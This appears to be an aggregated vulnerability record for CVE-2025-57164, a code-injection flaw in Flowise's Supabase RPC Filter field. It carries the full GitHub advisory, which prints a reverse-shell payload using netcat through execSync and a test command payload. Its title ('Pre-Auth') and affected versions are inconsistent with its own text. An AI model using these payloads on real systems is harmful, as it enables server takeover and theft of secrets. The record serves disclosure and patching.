{"id":"CVE-2025-57164","aliases":["EUVD-2025-29248","GHSA-7944-7c6r-55vv"],"status":"published","title":"FlowiseAI Pre-Auth Arbitrary Code Execution","description":"Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the \"Supabase RPC Filter\" field.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-12","score":0.00637,"percentile":0.51053,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-77","CWE-94"],"published":"2025-09-15T19:51:08Z","modified":"2026-11-05T22:10:00Z","fixes":[{"ecosystem":"npm","package":"flowise","fixed_in":["3.0.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.5"},{"last_affected":"3.0.5"},{"fixed":"3.0.6"}]}],"versions":["3.0.5"]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.5"},{"fixed":"3.0.6"}]}],"versions":["3.0.5"]}],"products":[{"vendor":"flowiseai","product":"flowise"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise","tags":["Product","package"]},{"url":"https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237","tags":["Product","web"]},{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv","tags":["Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/FlowiseAI/Flowise/blob/flowise%403.0.5/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237","tags":["web"]},{"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57164","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7944-7c6r-55vv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/57xxx/CVE-2025-57164.json","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2025-57164","description":"Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the \"Supabase RPC Filter\" field.","status":"published","published":"2025-10-17T00:00:00Z","modified":"2025-10-17T19:31:49.597Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"adp"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:32:35.099955Z"}],"euvd":[{"id":"EUVD-2025-29248","description":"Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the \"Supabase RPC Filter\" field.","status":"published","published":"2025-10-17T00:00:00Z","modified":"2025-10-17T19:31:49Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T20:31:30.508055Z"}],"ghsa":[{"id":"GHSA-7944-7c6r-55vv","title":"FlowiseAI Pre-Auth Arbitrary Code Execution","description":"## Summary\n\nAn authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution.\n\nThis results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic.\n\n## Details\n\nFlowiseAI includes a component called `Supabase.ts`, located at: `packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237`\n\n\u003cimg width=\"622\" height=\"177\" alt=\"image(3)\" src=\"https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b\" /\u003e\n\nThis creates a function from user-provided string `supabaseRPCFilter` with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed **immediately** when the node is triggered.\n\n### Exploit\n\nWe configured our environment to use Supabase entities as follows:\n\n\u003cimg width=\"573\" height=\"765\" alt=\"image(4)\" src=\"https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf\" /\u003e\n\nTo confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:\n\n\u003cimg width=\"1920\" height=\"915\" alt=\"image(5)\" src=\"https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947\" /\u003e\n\n![image-1](https://github.com/user-attachments/assets/34e71d47-6ecb-4a93-af0f-3526696f16e6)\n![image-2](https://github.com/user-attachments/assets/a512537c-caa9-4f70-a7be-1e75a622c06e)\n\nThis results in the **JWT secret being printed** to the frontend, confirming access to server-side environment variables.\n\nSubsequently, a **reverse shell** was successfully established using:\n\n`filter(process.mainModule.require(\"child_process\").execSync(\"nc [REDACTED] 9999 -e /bin/sh\"), \"gt\", 5)`\n\n\u003cimg width=\"425\" height=\"475\" alt=\"image(6)\" src=\"https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4\" /\u003e\n\nThis proves arbitrary OS-level command execution is possible **within the FlowiseAI backend runtime context**.\n\n## Steps to Reproduce\n\n1. Deploy a FlowiseAI instance with the Supabase vector store enabled.\n2. Login as an admin user.\n3. Drag in a `Supabase` node and configure \"Supabase RPC Filter\".\n4. Insert a malicious payload in the filter expression, such as:\n    \n    `process.mainModule.require(\"child_process\").execSync(\"id\")`\n    \n5. Trigger the chatbot or workflow to activate the node.\n6. Observe execution of arbitrary code on the backend.\n\n## Impact\n\n- **Remote Code Execution** (RCE): Full OS-level code execution from frontend user input.\n- **Environment Leakage**: Access to sensitive env variables like `JWT_REFRESH_TOKEN_SECRET`.\n- **Reverse Shells**: Ability to connect out of the server and gain interactive remote shell access.\n- **Persistence Risk**: Attacker can install malware, establish persistence, or exfiltrate data.\n- **LLM Prompt Tampering**: Malicious outputs may be injected back into LLM chains.\n\n## Trust Boundary Violation\n\nThe vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (`supabaseRPCFilter`) becomes part of **compiled JavaScript logic**, blending user-controlled input with trusted backend execution.\n\nThis violates **OWASP LLM Top 10 - LLM-06: Sensitive Code Execution**, especially in low-code / visual LLM agents.\n\n## Evidence\n\n*Environment variable leakage via malformed JSON*\n\n*Reverse shell successfully triggered using attacker-controlled input*\n\n## Credit\n\n**This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)**","status":"published","published":"2025-09-15T19:51:08Z","modified":"2025-10-17T20:23:36Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:39:01.677422Z"}],"nvd":[{"id":"CVE-2025-57164","description":"Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the \"Supabase RPC Filter\" field.","status":"published","published":"2025-10-17T18:15:37.013Z","modified":"2026-11-05T22:10:00.203Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-77"],"updated_at":"2026-11-05T23:57:15.690201Z"}],"osv":[{"id":"CVE-2025-57164","description":"Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the \"Supabase RPC Filter\" field.","status":"published","published":"2025-10-17T00:00:00Z","modified":"2026-11-07T02:30:34.251312567Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-07T03:07:57.67871Z"},{"id":"GHSA-7944-7c6r-55vv","title":"FlowiseAI Pre-Auth Arbitrary Code Execution","description":"## Summary\n\nAn authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution.\n\nThis results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic.\n\n## Details\n\nFlowiseAI includes a component called `Supabase.ts`, located at: `packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237`\n\n\u003cimg width=\"622\" height=\"177\" alt=\"image(3)\" src=\"https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b\" /\u003e\n\nThis creates a function from user-provided string `supabaseRPCFilter` with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed **immediately** when the node is triggered.\n\n### Exploit\n\nWe configured our environment to use Supabase entities as follows:\n\n\u003cimg width=\"573\" height=\"765\" alt=\"image(4)\" src=\"https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf\" /\u003e\n\nTo confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:\n\n\u003cimg width=\"1920\" height=\"915\" alt=\"image(5)\" src=\"https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947\" /\u003e\n\n![image-1](https://github.com/user-attachments/assets/34e71d47-6ecb-4a93-af0f-3526696f16e6)\n![image-2](https://github.com/user-attachments/assets/a512537c-caa9-4f70-a7be-1e75a622c06e)\n\nThis results in the **JWT secret being printed** to the frontend, confirming access to server-side environment variables.\n\nSubsequently, a **reverse shell** was successfully established using:\n\n`filter(process.mainModule.require(\"child_process\").execSync(\"nc [REDACTED] 9999 -e /bin/sh\"), \"gt\", 5)`\n\n\u003cimg width=\"425\" height=\"475\" alt=\"image(6)\" src=\"https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4\" /\u003e\n\nThis proves arbitrary OS-level command execution is possible **within the FlowiseAI backend runtime context**.\n\n## Steps to Reproduce\n\n1. Deploy a FlowiseAI instance with the Supabase vector store enabled.\n2. Login as an admin user.\n3. Drag in a `Supabase` node and configure \"Supabase RPC Filter\".\n4. Insert a malicious payload in the filter expression, such as:\n    \n    `process.mainModule.require(\"child_process\").execSync(\"id\")`\n    \n5. Trigger the chatbot or workflow to activate the node.\n6. Observe execution of arbitrary code on the backend.\n\n## Impact\n\n- **Remote Code Execution** (RCE): Full OS-level code execution from frontend user input.\n- **Environment Leakage**: Access to sensitive env variables like `JWT_REFRESH_TOKEN_SECRET`.\n- **Reverse Shells**: Ability to connect out of the server and gain interactive remote shell access.\n- **Persistence Risk**: Attacker can install malware, establish persistence, or exfiltrate data.\n- **LLM Prompt Tampering**: Malicious outputs may be injected back into LLM chains.\n\n## Trust Boundary Violation\n\nThe vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (`supabaseRPCFilter`) becomes part of **compiled JavaScript logic**, blending user-controlled input with trusted backend execution.\n\nThis violates **OWASP LLM Top 10 - LLM-06: Sensitive Code Execution**, especially in low-code / visual LLM agents.\n\n## Evidence\n\n*Environment variable leakage via malformed JSON*\n\n*Reverse shell successfully triggered using attacker-controlled input*\n\n## Credit\n\n**This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)**","status":"published","published":"2025-09-15T19:51:08Z","modified":"2025-10-17T20:44:44.249658Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:40.657155Z"}]}}